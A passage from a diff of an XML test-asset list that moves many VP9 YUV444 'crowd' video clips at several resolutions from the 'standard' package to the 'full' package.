   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343358,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343358,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=342735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=342735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343562,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343562,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=342735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=342735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343956,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343956,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=342735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=342735,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=319278,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=319278,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=320035,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=320035,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344684,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344684,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345170,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345170,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345160,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345160,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345022,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345022,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345005,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334780,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334780,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=357399,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=357399,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=270068,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=270068,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=359935,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=359935,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1459509,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39492,10 +39492,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=92248457,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=18388133,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39504,7 +39504,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=92248457,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=6232314,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39519,55 +39519,55 @@
     <value>mime=video/x-vnd.on2.vp9,size=2405563,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=716428,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=716428,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=323782,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=323782,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=92696,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=92696,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343623,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343623,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344710,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344710,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345263,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345263,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344082,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344082,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344573,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344573,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344202,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344202,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344121,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344121,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=292619,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=292619,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345274,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_1x1.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952818,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39660,7 +39660,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=952556,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=738858,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=738858,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952556,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39717,7 +39717,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=905217,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=289231,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=289231,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=952556,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39852,7 +39852,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=953349,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=738133,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=738133,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=953349,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39909,7 +39909,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=907553,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=290559,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=290559,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=953349,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39954,106 +39954,106 @@
     <value>mime=video/x-vnd.on2.vp9,size=953349,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41664,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41664,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41829,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=39102,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=39102,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
